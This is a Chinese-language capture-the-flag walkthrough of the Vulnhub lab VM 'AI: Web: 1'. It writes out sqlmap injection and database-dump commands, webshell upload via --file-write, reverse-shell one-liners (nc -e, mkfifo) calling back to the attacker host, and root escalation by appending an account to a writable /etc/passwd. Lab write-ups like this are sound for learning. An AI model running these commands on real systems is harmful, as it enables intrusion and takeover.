Vulnhub靶机渗透之 AI: Web: 1
靶機下載地址:AI:Web:1
Description:
Difficulty: Intermediate
Network: DHCP (Automatically assign)
Network Mode: NAT
This box is designed to test skills of penetration tester. The goal is simple. Get flag from /root/flag.txt. Enumerate the box, get low privileged shell and then escalate privilege to root. For any hint please tweet on @arif_xpress
目標是從 /root/flag.txt 獲取flag,獲得低權限的 shell,然后將權限提升到 root。
實驗環境:
攻擊機:kali2021(192.168.0.13/24,vmnet0)
靶機:(MAC地址為00:0C:29:93:FE:B3,vmnet0)
信息收集階段:
靶機IP地址:
nmap -sP 192.168.0.1/24? -oN nmap.sP(得到靶機IP地址為192.168.0.17)
?靶機開放端口:
nmap -A 192.168.0.17 -p- -oN nmap.A
?發現靶機開放了80端口
接下來訪問其網頁,查看有沒有可用信息,截圖如下:
發現Not even Google search my contents!(谷歌瀏覽器不能查詢內容,其實我用的是火狐也不能訪問其網站內容)
接下來用御劍掃描此網站目錄
網站目錄掃描:
?這里我使用kali自帶網站掃描工具dirb,命令如下:
dirb http://192.168.0.17
看到其他人的滲透過程發現,nikto也可以對網站進行掃描
nikto -h http://10.10.10.34由上面的掃描結果可知,存在目錄index.html,robots.txt,server-status
訪問/robots.txt得知:
?訪問:/m3diNf0/ 和 /se3reTdir777/uploads/都是forbidden,嘗試訪問 /se3reTdir777/,界面如下:
?在框中輸1和2,分別得到:
?懷疑存在SQL注入
敏感目錄掃描
m3diNf0 目錄
?發現http://192.168.0.17/m3diNf0/info.php
訪問得知:
我們找到了站點在服務器的絕對路徑
| DOCUMENT_ROOT | /home/www/html/web1x443290o2sdf92213 |
漏洞映射
?SQL注入:
這里采用sqlmap工具注入方法:
sqlmap注入:
首先對此網頁抓包,看有沒有可用參數(發現uid和Operation)
?① ?sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit",發現存在SQL注入,且可用以下方法注入
?②爆數據庫名:?sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit" --current-db
得知當前數據庫為aiweb1
?
?③爆表名:?sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit" -D "aiweb1" --tables
發現存在user和systemUser表
?
?④爆user表字段(sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit" -D "aiweb1" -T "user" --dump)
⑤爆systemUser表字段(sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit" -D "aiweb1" -T "systemUser" --dump)
彈出來的兩個提示都填N
可以看出password字段被base64加密過了,解碼后得到原密碼,但是服務器的3306端口沒有對外開放,也不清楚這用戶名和密碼意味著什么。暫時還沒有利用的點。
之前robots文件還有兩個目錄,對那兩個目錄dirb一下,發現m3diNf0目錄下有一個info.php,打開一看原來是PHP的配置文件。
現在我們找到了站點在服務器的絕對路徑!
/home/www/html/web1x443290o2sdf92213
既然知道了絕對路徑當然要試一下sqlmap拿Shell啦,但是網站的絕對路徑拿shell失敗,終于將絕對路徑改為uploads后拿到了shell
注:
sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit" --os-shell(可以利用--os-shell執行系統命令),彈出來的提示分別選4(php),回車,2,/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/(寫路徑)
現在通過sqlmap就獲取到了一個shell(得益于這個目錄具有可寫權限)
?sqlmap寫入一句話木馬
?1、寫一句話木馬(參考:sqlmap寫入一句話木馬)
2、寫入文件
sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write ./yjh.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php--file-write:去讀取文件(當前目錄下的yjh.php) --file-dest:后面加我們向目標寫的文件,目標在/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/,我們把這個文件上傳到shell.php這個地址 現在我們就在uploads這個命令下寫好了shell.php文件?
訪問192.168.0.17/se3reTdir777/uploads/shell.php發現是一片空白,就說明寫成功了!
蟻劍直接連接即可
?反彈shell
①kali本地監聽:nc -lvvp 6666(或者nc -lnvp)
②蟻劍終端上nc反彈:nc -e /bin/bash 192.168.0.13 6666(發現-e參數不可用)
③rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.13 6666 >/tmp/f
?提權
反彈shell成功后whoami查看是www-data權限,echo $0發現是/bin/sh
進入交互式shell:python -c 'import pty;pty.spawn("/bin/bash")'
思路1、sudo -l(查看有沒有一些命令在執行期間有root權限標簽沒有密碼保護——Not found)
發現需要密碼
思路2、查看有沒有一些具有suid權限的命令
find / -perm -4000 2>/dev/null
發現很多命令在執行期間都有suid權限
?查看開放端口:
?發現開放了3306端口,但是只有本地能登錄
思路3:在交互式shell下輸入命令uname -a查看內核版本,當前版本號是4.15.0-58-generic,我們就可以去看一下有沒有內核漏洞
searchsploit linux kernel 4.15.0-58-generic,發現沒有結果
searchsploit linux kernel 4.15.0,可以看到好幾個做本地提權的
我們看看目標環境有沒有gcc環境,沒有,我們就盡量不要上傳.c文件提取
?下面的提權過程我不會,參考:AJEST(我的啟蒙老師,哈哈哈哈膜拜!)
查看當前用戶讀寫權限
查看當前系統里面具有可寫權限的目錄有哪些:find / -writable -type d 2>/dev/null
查看哪些文件具有讀寫權限:find / -writable -type f 2>/dev/null
將find查詢結果保存: find / -writable -type f 2>/dev/null > /tmp/writableFiles
我們在蟻劍的/tmp目錄就可以看到writableFiles文件,download下來
wc -l writableFiles 可以看到這個文件有5932行
過濾有用文件(下面我看不太懂)
cat writableFiles | grep '^/[^p]' | grep '^/[^s],過濾掉以p和s開頭的文件
覺得c0nFil3bd.php這個文件可疑,看看是什么
我們還發現/etc/passwd文件,具有寫權限
?可以添加waffle::0:0:root:/root:/bin/bash,這個賬號是沒有密碼的,但是sudo發現密碼驗證失敗,我們就去生成一個密碼:
?生成Linux 系統用戶密鑰
┌──(root💀mi)-[~] └─# python Python 2.7.18 (default, Apr 20 2020, 20:30:41) [GCC 9.3.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import crypt >>> crypt.crypt("123456","waffle") 'waiAeFsWwdWZw' >>>讀寫/etc/passwd 文件。
root:x:0:0:root:/root:/bin/bash...waffle:waiAeFsWwdWZw:0:0:root:/root:/bin/bash查看flag
root@aiweb1:/# cat /root/flag.txt cat /root/flag.txt #################################################### # # # AI: WEB 1.0 # # # # Congratulation!!! # # # # Thank you for penetrate my system. # # # # Hope you enjoyed this. # # # # # # flag{cbe5831d864cbc2a104e2c2b9dfb50e5acbdee71} # # # #################################################### root@aiweb1:/#總結
以上是生活随笔為你收集整理的Vulnhub靶机渗透之 AI: Web: 1的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【CyberSecurityLearni
- 下一篇: 【新书速递】你想知道的通信“灵魂三问”都